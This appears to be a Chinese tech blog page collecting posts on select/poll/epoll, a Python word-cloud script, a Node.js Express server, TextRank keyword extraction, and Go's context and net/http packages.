    它的第一个参数返回epoll_creat的执行结果
    第二个参数表示动作,用下面几个宏表示

EPOLL_CTL_ADD:注册新的fd到epfd中;
EPOLL_CTL_MOD:修改已经注册的fd的监听事件;
EPOLL_CTL_DEL:从epfd中删除一个fd;

第三参数为监听的fd,第四个参数是告诉内核要监听什么事

  • int epoll_wait:等待事件的发生,类似于select的调用

2. select

2.1 select函数的调用过程

a. 从用户空间将fd_set拷贝到内核空间
b. 注册回调函数
c. 调用其对应的poll方法
d. poll方法会返回一个描述读写是否就绪的mask掩码,根据这个mask掩码给fd_set赋值。
e. 如果遍历完所有的fd都没有返回一个可读写的mask掩码,就会让select的进程进入休眠模式,直到发现可读写的资源后,重新唤醒等待队列上休眠的进程。如果在规定时间内都没有唤醒休眠进程,那么进程会被唤醒重新获得CPU,再去遍历一次fd。
f. 将fd_set从内核空间拷贝到用户空间

2.2 select函数优缺点

缺点:两次拷贝耗时、轮询所有fd耗时,支持的文件描述符太小
优点:跨平台支持


3. poll

3.1 poll函数的调用过程(与select完全一致)
3.2 poll函数优缺点

优点:连接数(也就是文件描述符)没有限制(链表存储)
缺点:大量拷贝,水平触发(当报告了fd没有被处理,会重复报告,很耗性能)


4. epoll

4.1 epoll的ET与LT模式

LT延迟处理,当检测到描述符事件通知应用程序,应用程序不立即处理该事件。那么下次会再次通知应用程序此事件。
ET立即处理,当检测到描述符事件通知应用程序,应用程序会立即处理。

ET模式减少了epoll被重复触发的次数,效率比LT高。我们在使用ET的时候,必须采用非阻塞套接口,避免某文件句柄在阻塞读或阻塞写的时候将其他文件描述符的任务饿死

4.2 epoll的函数调用流程

a. 当调用epoll_wait函数的时候,系统会创建一个epoll对象,每个对象有一个evenpoll类型的结构体与之对应,结构体成员结构如下。

rbn,代表将要通过epoll_ctl向epll对象中添加的事件。这些事情都是挂载在红黑树中。
rdlist,里面存放的是将要发生的事件

b. 文件的fd状态发生改变,就会触发fd上的回调函数
c. 回调函数将相应的fd加入到rdlist,导致rdlist不空,进程被唤醒,epoll_wait继续执行。
d. 有一个事件转移函数——ep_events_transfer,它会将rdlist的数据拷贝到txlist上,并将rdlist的数据清空。
e. ep_send_events函数,它扫描txlist的每个数据,调用关联fd对应的poll方法去取fd中较新的事件,将取得的事件和对应的fd发送到用户空间。如果fd是LT模式的话,会被txlist的该数据重新放回rdlist,等待下一次继续触发调用。

4.3 epoll的优点
  1. 没有最大并发连接的限制
  2. 只有活跃可用的fd才会调用callback函数
  3. 内存拷贝是利用mmap()文件映射内存的方式加速与内核空间的消息传递,减少复制开销。(内核与用户空间共享一块内存)

只有存在大量的空闲连接和不活跃的连接的时候,使用epoll的效率才会比select/poll高


下面引用知乎一书焚城的回答再次巩固一下IO模型

  1. 阻塞IO, 给女神发一条短信, 说我来找你了, 然后就默默的一直等着女神下楼, 这个期间除了等待你不会做其他事情, 属于备胎做法.
  1. 非阻塞IO, 给女神发短信, 如果不回, 接着再发, 一直发到女神下楼, 这个期间你除了发短信等待不会做其他事情, 属于专一做法.
  1. IO多路复用, 是找一个宿管大妈来帮你监视下楼的女生, 这个期间你可以些其他的事情. 例如可以顺便看看其他妹子,玩玩王者荣耀, 上个厕所等等. IO复用又包括 select, poll, epoll 模式. 那么它们的区别是什么?
    3.1 select大妈 每一个女生下楼, select大妈都不知道这个是不是你的女神, 她需要一个一个询问, 并且select大妈能力还有限, 最多一次帮你监视1024个妹子
    3.2 poll大妈不限制盯着女生的数量, 只要是经过宿舍楼门口的女生, 都会帮你去问是不是你女神
    3.3 epoll大妈不限制盯着女生的数量, 并且也不需要一个一个去问. 那么如何做呢? epoll大妈会为每个进宿舍楼的女生脸上贴上一个大字条,上面写上女生自己的名字, 只要女生下楼了, epoll大妈就知道这个是不是你女神了, 然后大妈再通知你.

上面这些同步IO有一个共同点就是, 当女神走出宿舍门口的时候, 你已经站在宿舍门口等着女神的, 此时你属于阻塞状态

接下来是异步IO的情况
你告诉女神我来了, 然后你就去王者荣耀了, 一直到女神下楼了, 发现找不见你了, 女神再给你打电话通知你, 说我下楼了, 你在哪呢? 这时候你才来到宿舍门口. 此时属于逆袭做法

作者:凉拌姨妈好吃
链接:https://www.jianshu.com/p/6a6845464770
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

python词频统计,生成词云图片

之前看博客上总有人抓某个网站,然后做一张炫酷的词频统计图。虽然知道有现成的库,但是一直没机会实践。这次刚好试验一下,比较简单。


#-*- encoding:utf-8 -*-
import matplotlib.pyplot as plt
import jieba
from wordcloud import WordCloud
import collections

#1.读出歌词
text = open('./words.txt','r').read()
#2.把歌词剪开
cut_text = jieba.cut(text)
# print(type(cut_text))
# print(next(cut_text))
# print(next(cut_text))
#3.以空格拼接起来
remove_words = [u'的', u',',u'和', u'是', u'随着', u'对于', u'对',u'等',u'能', \
    u'都',u'。',u' ',u'、',u'中',u'在',u'了',u'通常',u'如果',u'我',u'需要',u'自己',\
    u'你',u'人',u'不',u'就',u'有',u'一个',u'也',u'而是',u'只是',u'可以',u'不要', \
    u'还是',u'不能',u'所有',u'那些',u'不会',u'那么',u'因为',u'只有',u'那些',u'也']
filter_words = [u'的', u'是',u'那', u'不']
object_list = []
#过滤词
for word in cut_text :
    if len(word) <= 1:
        continue

    flag = True
    if word not in remove_words: # 如果不在去除词库中
        for tmp_filter in filter_words :
            if word.find(tmp_filter) != -1 :
                flag = False
                break;
        if flag:
            object_list.append(word) 

word_counts = collections.Counter(object_list) # 对分词做词频统计
word_counts_top = word_counts.most_common(50) # 获取前10最高频的词
print word_counts_top

# print(result)
# 4.生成词云
wc = WordCloud(
    font_path='./YC.ttf',     #字体路径
    background_color='white',   #背景颜色
    width=1000,
    height=600,
    max_font_size=50,            #字体大小
    min_font_size=10,
    #mask=plt.imread('xin.jpg'),  #背景图片
    max_words=50
)
wc.generate_from_frequencies(word_counts)
wc.to_file('fin.png')    #图片保存

#5.显示图片
plt.figure('jielun')   #图片显示的名字
plt.imshow(wc)
plt.axis('off')        #关闭坐标
plt.show()

这里可以设置背景图片和字体格式。对于中文,一定要有ttf字体文件。我随便从github上找了一种字体。
亲测可用!

 

 

nodejs使用

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。

Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

当然现在真正用nodejs做为后端服务的情况并不多,很多大型公司还是使用java,golang,php和python.但是最近做网页爬虫的时候,总是有前端js加密,虽然可以看到js加密的方法,但是加密方式还是非常的不好翻译成其他语言。所以这里起一个nodejs的微服务专门做js的执行也是不错的。另外因为是基于v8引擎,现在有python,java,php等版本的v8js库,也可以使用。但是在兼容上来说,使用原生的nodejs还是非常简单。

一 安装

centos

sudo yum install nodejs

安装完成子自带了npm,这个类似于pip,可以方便安装扩展包。

二 使用

node xxx.js

简直不能再简单

三 启动http服务

因为这里要做路由等功能,使用express框架

npm install express

这里介绍下引入其他文件的办法

1,a.js


function a() {

return "hello world";

}

function b() {

return "b";

}

module.exports = {a, b};


var express = require("express");

var fun=require("./a");
var app = express();
app.get("/",function(req,res){
res.send("ok");
});
app.get("/hello",function(req,res){
res.contentType("json");

var str = fun.b();

console.log(str);
res.send(JSON.stringify({code:200,data:"success"}));
});
app.get("/user/:id",function(req,res){
var id = req.params.id;
var list = [];
list.push({id:101,name:"xxx",age:20});
list.push({id:102,name:"yyy",age:18});
res.contentType("json");
res.send(JSON.stringify(list[id]));
});
app.listen(8889,function(){
console.log("server running at http://127.0.0.1:8889/");
});

[转]textrank算法原理与提取关键词、自动提取摘要PYTHON

首先介绍原理与概念
TextRank 算法是一种用于文本的基于图的排序算法。其基本思想来源于谷歌的 PageRank算法(其原理在本文在下面), 通过把文本分割成若干组成单元(单词、句子)并建立图模型, 利用投票机制对文本中的重要成分进行排序, 仅利用单篇文档本身的信息即可实现关键词提取、文摘。和 LDA、HMM 等模型不同, TextRank不需要事先对多篇文档进行学习训练, 因其简洁有效而得到广泛应用。

TextRank 一般模型可以表示为一个有向有权图 G =(V, E), 由点集合 V和边集合 E 组成, E 是V ×V的子集。图中任两点 Vi , Vj 之间边的权重为 wji , 对于一个给定的点 Vi, In(Vi) 为 指 向 该 点 的 点 集 合 , Out(Vi) 为点 Vi 指向的点集合。点 Vi 的得分定义如下:

 

其中, d 为阻尼系数, 取值范围为 0 到 1, 代表从图中某一特定点指向其他任意点的概率, 一般取值为 0.85。使用TextRank 算法计算图中各点的得分时, 需要给图中的点指定任意的初值, 并递归计算直到收敛, 即图中任意一点的误差率小于给定的极限值时就可以达到收敛, 一般该极限值取 0.0001。
举个例子:

上图表示了三张网页之间的链接关系,直觉上网页A最重要。可以得到下面的表:
横栏代表其实的节点,纵栏代表结束的节点。若两个节点间有链接关系,对应的值为1。根据公式,需要将每一竖栏归一化(每个元素/元素之和),归一化的结果是:

上面的结果构成矩阵M。我们用matlab迭代100次看看最后每个网页的重要性:

M = [0 1 1
0 0 0
0 0 0];
PR = [1; 1 ; 1];
for iter = 1:100
PR = 0.15 + 0.85*M*PR;
disp(iter);
disp(PR);
end
1
2
3
4
5
6
7
8
9
运行结果(省略部分

97—
0.4050
0.1500
0.1500
98—
0.4050
0.1500
0.1500
99—
0.4050
0.1500
0.1500
100—
0.4050
0.1500
0.1500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
最终A的PR值为0.4050,B和C的PR值为0.1500
如果把上面的有向边看作无向的(其实就是双向的),那么:

M = [0 1 1
0.5 0 0
0.5 0 0];

PR = [1; 1 ; 1];

for iter = 1:100
PR = 0.15 + 0.85*M*PR;
disp(iter);
disp(PR);
end
1
2
3
4
5
6
7
8
9
10
11
运行结果(省略部分):

…..
98
1.4595
0.7703
0.7703
99
1.4595
0.7703
0.7703
100
1.4595
0.7703
0.7703
1
2
3
4
5
6
7
8
9
10
11
12
13
依然能判断出A、B、C的重要性。

基于TextRank的关键词提取

关键词抽取的任务就是从一段给定的文本中自动抽取出若干有意义的词语或词组。TextRank算法是利用局部词汇之间关系(共现窗口)对后续关键词进行排序,直接从文本本身抽取。其主要步骤如下:

(1)把给定的文本T按照完整句子进行分割,即

(2)对于每个句子,进行分词和词性标注处理,并过滤掉停用词,只保留指定词性的单词,如名词、动词、形容词,即,其中是保留后的候选关键词。

(3)构建候选关键词图G = (V,E),其中V为节点集,由(2)生成的候选关键词组成,然后采用共现关系(co-occurrence)构造任两点之间的边,两个节点之间存在边仅当它们对应的词汇在长度为K的窗口中共现,K表示窗口大小,即最多共现K个单词。

(4)根据上面公式,迭代传播各节点的权重,直至收敛。

(5)对节点权重进行倒序排序,从而得到最重要的T个单词,作为候选关键词。

(6)由(5)得到最重要的T个单词,在原始文本中进行标记,若形成相邻词组,则组合成多词关键词。例如,文本中有句子“Matlab code for plotting ambiguity function”,如果“Matlab”和“code”均属于候选关键词,则组合成“Matlab code”加入关键词序列。
TextRank的Java实现

原理思路整理:

程序员(英文Programmer)是从事程序开发、维护的专业人员。一般将程序员分为程序设计人员和程序编码人员,但两者的界限并不非常清楚,特别是在中国。软件从业人员分为初级程序员、高级程序员、系统分析员和项目经理四大类。
我取出了百度百科关于“程序员”的定义作为测试用例,很明显,这段定义的关键字应当是“程序员”并且“程序员”的得分应当最高。

首先对这句话分词,这里可以借助各种分词项目,比如HanLP分词,得出分词结果:

[程序员/n, (, 英文/nz, programmer/en, ), 是/v, 从事/v, 程序/n, 开发/v, 、/w, 维护/v, 的/uj, 专业/n, 人员/n, 。/w, 一般/a, 将/d, 程序员/n, 分为/v, 程序/n, 设计/vn, 人员/n, 和/c, 程序/n, 编码/n, 人员/n, ,/w, 但/c, 两者/r, 的/uj, 界限/n, 并/c, 不/d, 非常/d, 清楚/a, ,/w, 特别/d, 是/v, 在/p, 中国/ns, 。/w, 软件/n, 从业/b, 人员/n, 分为/v, 初级/b, 程序员/n, 、/w, 高级/a, 程序员/n, 、/w, 系统/n, 分析员/n, 和/c, 项目/n, 经理/n, 四/m, 大/a, 类/q, 。/w]
然后去掉里面的停用词,这里我去掉了标点符号、常用词、以及“名词、动词、形容词、副词之外的词”。得出实际有用的词语:

[程序员, 英文, 程序, 开发, 维护, 专业, 人员, 程序员, 分为, 程序, 设计, 人员, 程序, 编码, 人员, 界限, 特别, 中国, 软件, 人员, 分为, 程序员, 高级, 程序员, 系统, 分析员, 项目, 经理]
之后建立两个大小为5的窗口,每个单词将票投给它身前身后距离5以内的单词:

{开发=[专业, 程序员, 维护, 英文, 程序, 人员],
软件=[程序员, 分为, 界限, 高级, 中国, 特别, 人员],
程序员=[开发, 软件, 分析员, 维护, 系统, 项目, 经理, 分为, 英文, 程序, 专业, 设计, 高级, 人员, 中国],
分析员=[程序员, 系统, 项目, 经理, 高级],
维护=[专业, 开发, 程序员, 分为, 英文, 程序, 人员],
系统=[程序员, 分析员, 项目, 经理, 分为, 高级],
项目=[程序员, 分析员, 系统, 经理, 高级],
经理=[程序员, 分析员, 系统, 项目],
分为=[专业, 软件, 设计, 程序员, 维护, 系统, 高级, 程序, 中国, 特别, 人员],
英文=[专业, 开发, 程序员, 维护, 程序],
程序=[专业, 开发, 设计, 程序员, 编码, 维护, 界限, 分为, 英文, 特别, 人员],
特别=[软件, 编码, 分为, 界限, 程序, 中国, 人员],
专业=[开发, 程序员, 维护, 分为, 英文, 程序, 人员],
设计=[程序员, 编码, 分为, 程序, 人员],
编码=[设计, 界限, 程序, 中国, 特别, 人员],
界限=[软件, 编码, 程序, 中国, 特别, 人员],
高级=[程序员, 软件, 分析员, 系统, 项目, 分为, 人员],
中国=[程序员, 软件, 编码, 分为, 界限, 特别, 人员],
人员=[开发, 程序员, 软件, 维护, 分为, 程序, 特别, 专业, 设计, 编码, 界限, 高级, 中国]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2. 基于TextRank的自动文摘

基于TextRank的自动文摘属于自动摘录,通过选取文本中重要度较高的句子形成文摘,其主要步骤如下:

(1)预处理:将输入的文本或文本集的内容分割成句子得,构建图G =(V,E),其中V为句子集,对句子进行分词、去除停止词,得,其中是保留后的候选关键词。

(2)句子相似度计算:构建图G中的边集E,基于句子间的内容覆盖率,给定两个句子,采用如下公式进行计算:

若两个句子之间的相似度大于给定的阈值,就认为这两个句子语义相关并将它们连接起来,即边的权值;

(3)句子权重计算:根据公式,迭代传播权重计算各句子的得分;

(4)抽取文摘句:将(3)得到的句子得分进行倒序排序,抽取重要度最高的T个句子作为候选文摘句。

(5)形成文摘:根据字数或句子数要求,从候选文摘句中抽取句子组成文摘。
三. 其它

分析研究可知,相似度的计算方法好坏,决定了关键词和句子的重要度排序,如果在相似度计算问题上有更好的解决方案,那么结果也会更加有效。其它计算相似度的方法有:基于编辑距离,基于语义词典,余弦相似度等。这里不一一描述。

网络上实现了一个简单的文摘系统,旗代码可参考ASExtractor`,
其他参考文献:
1.textrank:github:
2.Automatic Summarization :https://en.wikipedia.org/wiki/Automatic_summarization
3.someus github:TextRank4ZH
4.结巴

最后附录:pagerank算法原理
参考文献:http://www.hankcs.com/nlp/textrank-algorithm-java-implementation-of-automatic-abstract.html
———————
作者:IT界的小小小学生
来源:CSDN
原文:https://blog.csdn.net/HHTNAN/article/details/78032712
版权声明:本文为博主原创文章,转载请附上博文链接!

[转]Go Context

比较好的一篇理解go Context包的文章,适合初学者

https://www.flysnow.org/2017/05/12/go-in-action-go-context.html

什么是WaitGroup

WaitGroup以前我们在并发的时候介绍过,它是一种控制并发的方式,它的这种方式是控制多个goroutine同时完成。

func main() {
	var wg sync.WaitGroup

	wg.Add(2)
	go func() {
		time.Sleep(2*time.Second)
		fmt.Println("1号完成")
		wg.Done()
	}()
	go func() {
		time.Sleep(2*time.Second)
		fmt.Println("2号完成")
		wg.Done()
	}()
	wg.Wait()
	fmt.Println("好了,大家都干完了,放工")
}

一个很简单的例子,一定要例子中的2个goroutine同时做完,才算是完成,先做好的就要等着其他未完成的,所有的goroutine要都全部完成才可以。

这是一种控制并发的方式,这种尤其适用于,好多个goroutine协同做一件事情的时候,因为每个goroutine做的都是这件事情的一部分,只有全部的goroutine都完成,这件事情才算是完成,这是等待的方式。

在实际的业务种,我们可能会有这么一种场景:需要我们主动的通知某一个goroutine结束。比如我们开启一个后台goroutine一直做事情,比如监控,现在不需要了,就需要通知这个监控goroutine结束,不然它会一直跑,就泄漏了。

chan通知

我们都知道一个goroutine启动后,我们是无法控制他的,大部分情况是等待它自己结束,那么如果这个goroutine是一个不会自己结束的后台goroutine呢?比如监控等,会一直运行的。

这种情况化,一直傻瓜式的办法是全局变量,其他地方通过修改这个变量完成结束通知,然后后台goroutine不停的检查这个变量,如果发现被通知关闭了,就自我结束。

这种方式也可以,但是首先我们要保证这个变量在多线程下的安全,基于此,有一种更好的方式:chan + select 。

func main() {
	stop := make(chan bool)

	go func() {
		for {
			select {
			case <-stop:
				fmt.Println("监控退出,停止了...")
				return
			default:
				fmt.Println("goroutine监控中...")
				time.Sleep(2 * time.Second)
			}
		}
	}()

	time.Sleep(10 * time.Second)
	fmt.Println("可以了,通知监控停止")
	stop<- true
	//为了检测监控过是否停止,如果没有监控输出,就表示停止了
	time.Sleep(5 * time.Second)

}

例子中我们定义一个stop的chan,通知他结束后台goroutine。实现也非常简单,在后台goroutine中,使用select判断stop是否可以接收到值,如果可以接收到,就表示可以退出停止了;如果没有接收到,就会执行default里的监控逻辑,继续监控,只到收到stop的通知。

有了以上的逻辑,我们就可以在其他goroutine种,给stop chan发送值了,例子中是在main goroutine中发送的,控制让这个监控的goroutine结束。

发送了stop<- true结束的指令后,我这里使用time.Sleep(5 * time.Second)故意停顿5秒来检测我们结束监控goroutine是否成功。如果成功的话,不会再有goroutine监控中...的输出了;如果没有成功,监控goroutine就会继续打印goroutine监控中...输出。

这种chan+select的方式,是比较优雅的结束一个goroutine的方式,不过这种方式也有局限性,如果有很多goroutine都需要控制结束怎么办呢?如果这些goroutine又衍生了其他更多的goroutine怎么办呢?如果一层层的无穷尽的goroutine呢?这就非常复杂了,即使我们定义很多chan也很难解决这个问题,因为goroutine的关系链就导致了这种场景非常复杂。

初识Context

上面说的这种场景是存在的,比如一个网络请求Request,每个Request都需要开启一个goroutine做一些事情,这些goroutine又可能会开启其他的goroutine。所以我们需要一种可以跟踪goroutine的方案,才可以达到控制他们的目的,这就是Go语言为我们提供的Context,称之为上下文非常贴切,它就是goroutine的上下文。

下面我们就使用Go Context重写上面的示例。

func main() {
	ctx, cancel := context.WithCancel(context.Background())
	go func(ctx context.Context) {
		for {
			select {
			case <-ctx.Done():
				fmt.Println("监控退出,停止了...")
				return
			default:
				fmt.Println("goroutine监控中...")
				time.Sleep(2 * time.Second)
			}
		}
	}(ctx)

	time.Sleep(10 * time.Second)
	fmt.Println("可以了,通知监控停止")
	cancel()
	//为了检测监控过是否停止,如果没有监控输出,就表示停止了
	time.Sleep(5 * time.Second)

}

重写比较简单,就是把原来的chan stop 换成Context,使用Context跟踪goroutine,以便进行控制,比如结束等。

context.Background() 返回一个空的Context,这个空的Context一般用于整个Context树的根节点。然后我们使用context.WithCancel(parent)函数,创建一个可取消的子Context,然后当作参数传给goroutine使用,这样就可以使用这个子Context跟踪这个goroutine。

在goroutine中,使用select调用<-ctx.Done()判断是否要结束,如果接受到值的话,就可以返回结束goroutine了;如果接收不到,就会继续进行监控。

那么是如何发送结束指令的呢?这就是示例中的cancel函数啦,它是我们调用context.WithCancel(parent)函数生成子Context的时候返回的,第二个返回值就是这个取消函数,它是CancelFunc类型的。我们调用它就可以发出取消指令,然后我们的监控goroutine就会收到信号,就会返回结束。

Context控制多个goroutine

使用Context控制一个goroutine的例子如上,非常简单,下面我们看看控制多个goroutine的例子,其实也比较简单。

func main() {
	ctx, cancel := context.WithCancel(context.Background())
	go watch(ctx,"【监控1】")
	go watch(ctx,"【监控2】")
	go watch(ctx,"【监控3】")

	time.Sleep(10 * time.Second)
	fmt.Println("可以了,通知监控停止")
	cancel()
	//为了检测监控过是否停止,如果没有监控输出,就表示停止了
	time.Sleep(5 * time.Second)
}

func watch(ctx context.Context, name string) {
	for {
		select {
		case <-ctx.Done():
			fmt.Println(name,"监控退出,停止了...")
			return
		default:
			fmt.Println(name,"goroutine监控中...")
			time.Sleep(2 * time.Second)
		}
	}
}

示例中启动了3个监控goroutine进行不断的监控,每一个都使用了Context进行跟踪,当我们使用cancel函数通知取消时,这3个goroutine都会被结束。这就是Context的控制能力,它就像一个控制器一样,按下开关后,所有基于这个Context或者衍生的子Context都会收到通知,这时就可以进行清理操作了,最终释放goroutine,这就优雅的解决了goroutine启动后不可控的问题。

《Go语言实战》读书笔记,未完待续,欢迎扫码关注公众号flysnow_org或者网站http://www.flysnow.org/,第一时间看后续笔记。觉得有帮助的话,顺手分享到朋友圈吧,感谢支持。

Context接口

Context的接口定义的比较简洁,我们看下这个接口的方法。

type Context interface {
	Deadline() (deadline time.Time, ok bool)

	Done() <-chan struct{}

	Err() error

	Value(key interface{}) interface{}
}

这个接口共有4个方法,了解这些方法的意思非常重要,这样我们才可以更好的使用他们。

Deadline方法是获取设置的截止时间的意思,第一个返回式是截止时间,到了这个时间点,Context会自动发起取消请求;第二个返回值ok==false时表示没有设置截止时间,如果需要取消的话,需要调用取消函数进行取消。

Done方法返回一个只读的chan,类型为struct{},我们在goroutine中,如果该方法返回的chan可以读取,则意味着parent context已经发起了取消请求,我们通过Done方法收到这个信号后,就应该做清理操作,然后退出goroutine,释放资源。

Err方法返回取消的错误原因,因为什么Context被取消。

Value方法获取该Context上绑定的值,是一个键值对,所以要通过一个Key才可以获取对应的值,这个值一般是线程安全的。

以上四个方法中常用的就是Done了,如果Context取消的时候,我们就可以得到一个关闭的chan,关闭的chan是可以读取的,所以只要可以读取的时候,就意味着收到Context取消的信号了,以下是这个方法的经典用法。

  func Stream(ctx context.Context, out chan<- Value) error {
  	for {
  		v, err := DoSomething(ctx)
  		if err != nil {
  			return err
  		}
  		select {
  		case <-ctx.Done():
  			return ctx.Err()
  		case out <- v:
  		}
  	}
  }

Context接口并不需要我们实现,Go内置已经帮我们实现了2个,我们代码中最开始都是以这两个内置的作为最顶层的partent context,衍生出更多的子Context。

var (
	background = new(emptyCtx)
	todo       = new(emptyCtx)
)

func Background() Context {
	return background
}

func TODO() Context {
	return todo
}

一个是Background,主要用于main函数、初始化以及测试代码中,作为Context这个树结构的最顶层的Context,也就是根Context。

一个是TODO,它目前还不知道具体的使用场景,如果我们不知道该使用什么Context的时候,可以使用这个。

他们两个本质上都是emptyCtx结构体类型,是一个不可取消,没有设置截止时间,没有携带任何值的Context。

type emptyCtx int

func (*emptyCtx) Deadline() (deadline time.Time, ok bool) {
	return
}

func (*emptyCtx) Done() <-chan struct{} {
	return nil
}

func (*emptyCtx) Err() error {
	return nil
}

func (*emptyCtx) Value(key interface{}) interface{} {
	return nil
}

这就是emptyCtx实现Context接口的方法,可以看到,这些方法什么都没做,返回的都是nil或者零值。

Context的继承衍生

有了如上的根Context,那么是如何衍生更多的子Context的呢?这就要靠context包为我们提供的With系列的函数了。

func WithCancel(parent Context) (ctx Context, cancel CancelFunc)
func WithDeadline(parent Context, deadline time.Time) (Context, CancelFunc)
func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc)
func WithValue(parent Context, key, val interface{}) Context

这四个With函数,接收的都有一个partent参数,就是父Context,我们要基于这个父Context创建出子Context的意思,这种方式可以理解为子Context对父Context的继承,也可以理解为基于父Context的衍生。

通过这些函数,就创建了一颗Context树,树的每个节点都可以有任意多个子节点,节点层级可以有任意多个。

WithCancel函数,传递一个父Context作为参数,返回子Context,以及一个取消函数用来取消Context。WithDeadline函数,和WithCancel差不多,它会多传递一个截止时间参数,意味着到了这个时间点,会自动取消Context,当然我们也可以不等到这个时候,可以提前通过取消函数进行取消。

WithTimeoutWithDeadline基本上一样,这个表示是超时自动取消,是多少时间后自动取消Context的意思。

WithValue函数和取消Context无关,它是为了生成一个绑定了一个键值对数据的Context,这个绑定的数据可以通过Context.Value方法访问到,后面我们会专门讲。

大家可能留意到,前三个函数都返回一个取消函数CancelFunc,这是一个函数类型,它的定义非常简单。

type CancelFunc func()

这就是取消函数的类型,该函数可以取消一个Context,以及这个节点Context下所有的所有的Context,不管有多少层级。

WithValue传递元数据

通过Context我们也可以传递一些必须的元数据,这些数据会附加在Context上以供使用。

var key string="name"

func main() {
	ctx, cancel := context.WithCancel(context.Background())
	//附加值
	valueCtx:=context.WithValue(ctx,key,"【监控1】")
	go watch(valueCtx)
	time.Sleep(10 * time.Second)
	fmt.Println("可以了,通知监控停止")
	cancel()
	//为了检测监控过是否停止,如果没有监控输出,就表示停止了
	time.Sleep(5 * time.Second)
}

func watch(ctx context.Context) {
	for {
		select {
		case <-ctx.Done():
			//取出值
			fmt.Println(ctx.Value(key),"监控退出,停止了...")
			return
		default:
			//取出值
			fmt.Println(ctx.Value(key),"goroutine监控中...")
			time.Sleep(2 * time.Second)
		}
	}
}

在前面的例子,我们通过传递参数的方式,把name的值传递给监控函数。在这个例子里,我们实现一样的效果,但是通过的是Context的Value的方式。

我们可以使用context.WithValue方法附加一对K-V的键值对,这里Key必须是等价性的,也就是具有可比性;Value值要是线程安全的。

这样我们就生成了一个新的Context,这个新的Context带有这个键值对,在使用的时候,可以通过Value方法读取ctx.Value(key)

记住,使用WithValue传值,一般是必须的值,不要什么值都传递。

Context 使用原则

  1. 不要把Context放在结构体中,要以参数的方式传递
  2. 以Context作为参数的函数方法,应该把Context作为第一个参数,放在第一位。
  3. 给一个函数方法传递Context的时候,不要传递nil,如果不知道传递什么,就使用context.TODO
  4. Context的Value相关方法应该传递必须的数据,不要什么数据都使用这个传递
  5. Context是线程安全的,可以放心的在多个goroutine中传递

[转]Go net/http包

原文地址:https://studygolang.com/articles/9467

Go net/http包

这一篇就基本了解了go 的http包

Go Http客户端

get请求可以直接http.Get方法

package main

import (
	"fmt"
	"net/http"
	"log"
	"reflect"
	"bytes"
)

func main() {

	resp, err := http.Get("http://www.baidu.com")
	if err != nil {
		// handle error
		log.Println(err)
		return
	}

	defer resp.Body.Close()

	headers := resp.Header

	for k, v := range headers {
		fmt.Printf("k=%v, v=%v\n", k, v)
	}

	fmt.Printf("resp status %s,statusCode %d\n", resp.Status, resp.StatusCode)

	fmt.Printf("resp Proto %s\n", resp.Proto)

	fmt.Printf("resp content length %d\n", resp.ContentLength)

	fmt.Printf("resp transfer encoding %v\n", resp.TransferEncoding)

	fmt.Printf("resp Uncompressed %t\n", resp.Uncompressed)

	fmt.Println(reflect.TypeOf(resp.Body)) // *http.gzipReader

	buf := bytes.NewBuffer(make([]byte, 0, 512))

	length, _ := buf.ReadFrom(resp.Body)

	fmt.Println(len(buf.Bytes()))
	fmt.Println(length)
	fmt.Println(string(buf.Bytes()))
}

有时需要在请求的时候设置头参数、cookie之类的数据,就可以使用http.Do方法。

package main

import (
	"net/http"
	"strings"
	"fmt"
	"io/ioutil"
	"log"
	"encoding/json"
)

func main() {
	client := &http.Client{}

	req, err := http.NewRequest("POST", "http://www.maimaiche.com/loginRegister/login.do",
		strings.NewReader("mobile=xxxxxxxxx&isRemberPwd=1"))
	if err != nil {
		log.Println(err)
		return
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")

	resp, err := client.Do(req)

	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println(err)
		return
	}

	fmt.Println(resp.Header.Get("Content-Type")) //application/json;charset=UTF-8

	type Result struct {
		Msg    string
		Status string
		Obj    string
	}

	result := &Result{}
	json.Unmarshal(body, result) //解析json字符串

	if result.Status == "1" {
		fmt.Println(result.Msg)
	} else {
		fmt.Println("login error")
	}
	fmt.Println(result)
}

如果使用http POST方法可以直接使用http.Post 或 http.PostForm,

package main

import (
	"net/http"
	"strings"
	"fmt"
	"io/ioutil"
)

func main() {
	resp, err := http.Post("http://www.maimaiche.com/loginRegister/login.do",
		"application/x-www-form-urlencoded",
		strings.NewReader("mobile=xxxxxxxxxx&isRemberPwd=1"))
	if err != nil {
		fmt.Println(err)
		return
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println(string(body))
}

http.PostForm方法,

package main

import (
	"net/http"
	"fmt"
	"io/ioutil"
	"net/url"
)

func main() {

	postParam := url.Values{
		"mobile":      {"xxxxxx"},
		"isRemberPwd": {"1"},
	}

	resp, err := http.PostForm("http://www.maimaiche.com/loginRegister/login.do", postParam)
	if err != nil {
		fmt.Println(err)
		return
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println(string(body))
}

 

Go Http服务器端

一切的基础:ServeMux 和 Handler

Go 语言中处理 HTTP 请求主要跟两个东西相关:ServeMux 和 Handler。

ServrMux 本质上是一个 HTTP 请求路由器(或者叫多路复用器,Multiplexor)。它把收到的请求与一组预先定义的 URL 路径列表做对比,然后在匹配到路径的时候调用关联的处理器(Handler)。

处理器(Handler)负责输出HTTP响应的头和正文。任何满足了http.Handler接口的对象都可作为一个处理器。通俗的说,对象只要有个如下签名的ServeHTTP方法即可:

ServeHTTP(http.ResponseWriter, *http.Request)

Go 语言的 HTTP 包自带了几个函数用作常用处理器,比如FileServer,NotFoundHandler 和 RedirectHandler。我们从一个简单具体的例子开始:

package main

import (
	"log"
	"net/http"
)

func main() {
	mux := http.NewServeMux()

	rh := http.RedirectHandler("http://www.baidu.com", 307)
	mux.Handle("/foo", rh)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
